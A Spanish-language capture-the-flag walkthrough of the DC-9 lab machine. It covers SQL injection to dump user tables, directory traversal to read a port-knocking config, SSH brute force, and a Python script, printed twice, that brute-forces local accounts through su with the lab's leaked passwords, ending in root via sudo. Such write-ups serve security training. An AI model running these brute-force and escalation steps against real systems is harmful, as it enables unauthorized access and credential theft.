RODGAR
  • Whoami
  • HackTheBox
    • Hard
      • ⛔HackTheBox Vintage
    • Medium
      • HackTheBox Cascade
      • HackTheBox TombWatcher
      • Copy of HackTheBox TombWatcher
      • HackTheBox Monteverde
      • HackTheBox Resolute
      • HackTheBox Administrator
      • HackTheBox Escape
      • HackTheBox Authority
    • Easy
      • HackTheBox Active
      • HackTheBox Sauna
      • HackTheBox Support
      • HackTheBox Forest
      • HackTheBox Cicada
      • HackTheBox Timelapse
      • HackTheBox Return
  • CTF WRITEUP's
    • TryHackme
      • TryHackme 0day
      • TryHackme Daily Bugle
      • TryHackme Blog
      • TryHackme Year of the Owl
      • TryHackme Wgel CTF
      • TryHackme Chill Hack
      • TryHackme Wonderland
      • TryHackne OhSINT
      • TryHackme Cold VVars
      • TryHackme Dav
      • TryHackme RootMe
      • TryHackMe Basic Pentesting
      • TryHackMe Simple-CTF
      • TryHackMe Vulnversity
      • Tryhackme Kenobi
    • Burp Suite
      • 1️⃣SQL Ijections
        • Laboratorio Uno
        • Laboratorio Dos
        • Laboratorio Tres
        • Laboratorio Cuatro
        • Laboratorio Cinco
        • Laboratorio Seis
        • Laboratorio Siete
    • VulnHub
      • Inferno
      • Election
      • SYMFONOS 3
      • SYMFONOS 2
      • DJinn-3
      • Durian 1
      • DarkHole 2
      • OffSec DC-9
      • OffSec Potato
      • OffSec Pwned1
      • OffSec VIKINGS
      • OffSec Tre
      • OffSec MoneyBox
      • OffSec DEATHNOTE
      • OffSec Gaara
      • OffSec NoName
      • OffSec Katana
      • OffSec Sick0s
    • The Hackers Labs
      • The Hackers Labs Offensive
      • The Hackers Labs Resident
      • The Hacker Labs Base
      • The Hackers Labs Statue
      • The Hackers Labs Luna
      • The Hackers Labs Templo
      • The Hackers Labs GOIKO
      • The Hackers Labs Microsoft
    • Hackmyvm
      • Hackmyvm UP
    • Pivoting
      • Pivoting
      • Internal TryHackme
      • Basic /Doctor
      • Pluck /Brain
  • Privilege escalation
    • Abuso de grupos de usuario especiales
      • Docker
      • LXD
      • ADM
    • Abuso de permisos incorrectamente implementados
    • Detección y explotación de Capabilities
    • Tareas Crom
    • Path Hijacking
    • Abusando de privilegios a nivel de Sudoers
    • Abusando de privilegios SUID
    • Linux Privilege Escalation
  • Shared Files
    • Share Windows Linux
      • Compartir de entre Windows y Linux
      • Compartir de Windows a linux [Impacket-Server]
    • Share Linux
      • Compartir de linux en [PHP]
  • OWASP TOP 10
    • SQL Injections
    • XSS
    • XXE
    • Path traversal Lab
    • LFI con Wrappers
    • Log Poisoning (LFI -> RCE)
    • Server-Side Template Injection (SSTI)
    • Ataque de oráculo de relleno (Padding Oracle)
    • Inyecciones LaTeX
    • Ataques de transferencia de zona (AXFR – Full Zone Transfer)
    • Enumeración y explotación de WebDAV
    • ShellShock
    • Enumeración y explotación de SQUID Proxies
    • Insecure Direct Object Reference (IDORs)
    • Json Web Token
    • Intercambio de recursos de origen cruzado (CORS)
    • Abuso de subidas de archivos
      • Laboratorio 1
      • Laboratorio 2
      • Laboratorio 3
      • Laboratorio 4
      • Laboratorio 5
      • Laboratorio 6
      • Laboratorio 7
      • Laboratorio 8
      • Laboratorio 9
  • Group 1
    • Recursos
Con tecnología de GitBook
En esta página
  1. CTF WRITEUP's
  2. VulnHub

OffSec DC-9

AnteriorDarkHole 2SiguienteOffSec Potato

Última actualización hace 1 año

# Nmap 7.94SVN scan initiated Sat May  4 06:23:54 2024 as: nmap -sCV -p80,22 -oN tar.txt 192.168.1.172
Nmap scan report for 192.168.1.172
Host is up (0.00083s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 a2:b3:38:74:32:74:0b:c5:16:dc:13:de:cb:9b:8a:c3 (RSA)
|   256 06:5c:93:87:15:54:68:6b:88:91:55:cf:f8:9a:ce:40 (ECDSA)
|_  256 e4:2c:88:da:88:63:26:8c:93:d5:f7:63:2b:a3:eb:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Example.com - Staff Details - Welcome
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May  4 06:24:02 2024 -- 1 IP address (1 host up) scanned in 7.40 seconds

Como siempre empezamos con Nmap para observar que puertos y servicios corren para este host en el cual solamente hay dos.


Si nos vamos al puerto 80 en Display all encontramos algo de informacion pero no mucha, tipo tablas nombres de colaboradores o algo asi.


Si nos vamos al buscador y primeramente solo ponemos mary me aparece la informacion sobre ella, pero si hacemos un order by hasta 6 igualmente me sigue apareciendo la misma informacion. Lo que nos indicaria que probablemente la web sea vulnerable a SQL Injection.


Si pasamos la peticion por Burp Suite observamos que si es vulnerable ya que solicitamos la version de la base de datos y nos dice que es una MariaDB.

Ya con este hecho confirmado vamos a empezar a enumerar todo lo que haya aca, seremos simple en los terminos que usaremos ya que la maquina es un poco larguilla.


Iniciamos.

schema_name es el nombre de los esquemas (bases de datos) disponibles en el servidor de la base de datos. Se obtiene consultando la tabla information_schema.schemata. Es útil para tareas administrativas y para obtener información sobre la estructura de la base de datos.

Nos revela que tenemos tres information_schema, Staff y Users.


  • Bueno tonces vamos primeramente por la de Staff, en la peticion del lado iziquierdo le decimos que nos muestre las tablas dadas para Staff.

  • En segundo nos nuestra dos tablas lado derecho para la base dada Staff.


  • Ahora le decimos muestrame las columnas dadas para la tabla Users.

  • Nos muestra tres columnas UserID,Username y Password, obviamente ya sabemos por cual vamos.


Ahora haciendo uso de group_concat le decimos, la peticion es tal que asi, muestrame la informacion que tiene Username y Password que estan dentro de la columna Users de la tabla Staff.

Tenemos un usario admin y una contraseña en hash.


Nos vamos ah CrackStation y logra crackearla, ahora tenemos un usuario y una contraseña.


Bueno en la pagina nos vamos ah Manage y nos loguemos con las credenciales que ahora tenemos, pero no nos lleva a nada.

Hay que recordar que aparte de la Staff teniamos ah User. Asi que ahora vamos por esta otra base.


Vamos por user.


Lo mismo decimos muestrame las tablas que estan dentro de la base user, en lo cual nos muestra una unica tabla, UserDetails.


Seguimos ahora la consulta es asi, muestrame las columnas dadas de la tabla UserDetails, nos muestra 5 columnas, las que nos interesa es username y password.


Seguimos y haciendo uso de group_concat le decimos, muestra lo que contiene username y password que estan dentro de la conlumna UserDetails dado de la tabla users.

Y tenemos info, multiples usuarios y posibles contraseñas.


Vamos a ordenarlos usuarios y contraseñas cada uno en un archivo diferente siga los pasos que se ve en la captura.


Ahora si lanzamos hydra oh si nos intentamos conectar nos dice que connection refused, podria ser que en vez de estar abierto el puerto oh este filtrado o tiene ciertas reglas.

Como proseguimos si no podemos hacer fuerza bruta, bueno recuerde que tenemos acceso al dashboar de la web con las credenciales del admin.


Buscando y buscando resulta que el propio dashboar tiene un Directory traversal podemos leer ciertos archivos basicamente solo tenemos permisos de lectura.

Vamos a buscar el config del ssh.


El archivo knockd.conf en Linux es utilizado por el servicio Knockd, que es una herramienta de seguridad que permite abrir puertos en un servidor remoto mediante una secuencia específica de "tocadas" (o peticiones) a otros puertos.

Este archivo de configuración define las reglas de toques necesarios para desencadenar la apertura de puertos. Cada regla especifica los puertos que deben ser tocados y en qué secuencia para que se active una acción determinada, como abrir un puerto específico. Es una forma de implementar una capa adicional de seguridad al requerir una secuencia específica de toques antes de permitir el acceso a determinados servicios en el servidor.

Y tenemos la secuencia 7469,8475,9842.


Ahora usamos la herramienta knock para darle el toque y que el puerto se habra.


Ahora si ya podemos usar hydra y tenemos un usuario y una contraseña para conectarnos por SSH.

Una vez conectados buscamos la forma de escalar privilegios pero adelanto que este usario esta mas pelado que un que.


Recordemos los usarios que teniamos los podemos probar dentro ya de la maquina victima, pero aca no tenemos hydra entonces nos montaremos una utilidad en en python3 para hacer fuerza bruta.

#!/usr/bin/env python3
autor: rodgar

import subprocess

def verificar_contraseña(usuario, contraseña):
    # Intentar autenticar al usuario con la contraseña proporcionada
    proceso = subprocess.Popen(['su', usuario, '-c', 'echo success'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    salida, error = proceso.communicate(input=(contraseña + '\n').encode())

    # Verificar si la autenticación fue exitosa
    if proceso.returncode == 0:
       
        return True
    else:
        
        return False

# Lista de usuarios y contraseñas
usuarios = ["barneyr", "bettyr", "chandlerb", "fredf", "janitor2", "janitor", "jerrym", "joeyt", "julied", "marym", "monicag", "phoebeb", "rachelg", "rossg", "scoots", "tomc", "wilmaf$
contraseñas = ["RocksOff", "BamBam01", "UrAG0D!", "4sfd87sfd1", "Hawaii-Five-0", "Ilovepeepee", "B8m#48sd", "Passw0rd", "468sfdfsd2", "3kfs86sfd", "3248dsds7s", "smellycats", "yN72#ds$

# Función para imprimir en color
def imprimir_color(mensaje, color):
    print("\033[" + color + "m" + mensaje + "\033[0m")

# Iterar sobre cada usuario
for usuario in usuarios:
    # Variable para controlar si se encontró una contraseña válida para el usuario
    contraseña_encontrada = False
    
    # Iterar sobre cada contraseña para el usuario actual
    for contraseña in contraseñas:
        if verificar_contraseña(usuario, contraseña):
            
            imprimir_color("[+] Contraseña válida! Usuario: " + usuario + " Contraseña: " + contraseña, "92")
            
            contraseña_encontrada = True
            break
    
    # Si ninguna contraseña fue válida, imprimir un mensaje en rojo
    if not contraseña_encontrada:
        imprimir_color("[-] Contraseña invalida para el usuario: " + usuario, "91")

Nos creamos este script en /tmp o /dev/shm. Lo ejecutamos y ahora observamos que tenemos dos usuarios mas con su respectiva contraseña.


Hacemos un pivoteo de usuario ah janitor y en su directorio personal econtramos mas contraseñas bajo un directorio oculto.

Haremos lo mismo.


#!/usr/bin/env python3 
autor: rodgar

import subprocess

def verificar_contraseña(usuario, contraseña):
    # Intentar autenticar al usuario con la contraseña proporcionada
    proceso = subprocess.Popen(['su', usuario, '-c', 'echo success'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    salida, error = proceso.communicate(input=(contraseña + '\n').encode())

    # Verificar si la autenticación fue exitosa
    if proceso.returncode == 0:
       
        return True
    else:
        
        return False

# Lista de usuarios y contraseñas
usuarios = ["barneyr", "bettyr", "chandlerb", "fredf", "janitor2", "janitor", "jerrym", "joeyt", "julied", "marym", "monicag", "phoebeb", "rachelg", "rossg", "scoots", "tomc", "wilmaf$
contraseñas = ["BamBam01", "Passw0rd", "smellycats", "P0Lic#10-4", "B4-Tru3-001", "4uGU5T-NiGHts"]

# Función para imprimir en color
def imprimir_color(mensaje, color):
    print("\033[" + color + "m" + mensaje + "\033[0m")

# Iterar sobre cada usuario
for usuario in usuarios:
    # Variable para controlar si se encontró una contraseña válida para el usuario
    contraseña_encontrada = False
    
    # Iterar sobre cada contraseña para el usuario actual
    for contraseña in contraseñas:
        if verificar_contraseña(usuario, contraseña):
            
            imprimir_color("[+] Contraseña válida! Usuario: " + usuario + " Contraseña: " + contraseña, "92")
            
            contraseña_encontrada = True
            break
    
    # Si ninguna contraseña fue válida, imprimir un mensaje en rojo
    if not contraseña_encontrada:
        imprimir_color("[-] Contraseña invalida para el usuario: " + usuario, "91")

El mismo script solo que cambiamos las contraseñas ah las nuevas que tenemos.

Observamos que tenemos un nuevo usuario y otro que ya teniamos.


Hacemos un nuevo pivoteo de usuario, de janitor ah fredf y si hacemos un sudo -l observamos que tenemos este privilegio.

No voy ah explicar en que consiste estoy cansado jefe.


Usando openssl nos creamos una contraseña.


Ahora creamos un archivo usuario en /tmp y le asignamos un nombre de usuario y la contraseña que generamos.


Lo ejecutamos, y si hacemos un su rodGAR nos pedira la contraseña que creamos y wala somos root señores, espero hayas podido seguir el ritmo y resolverla.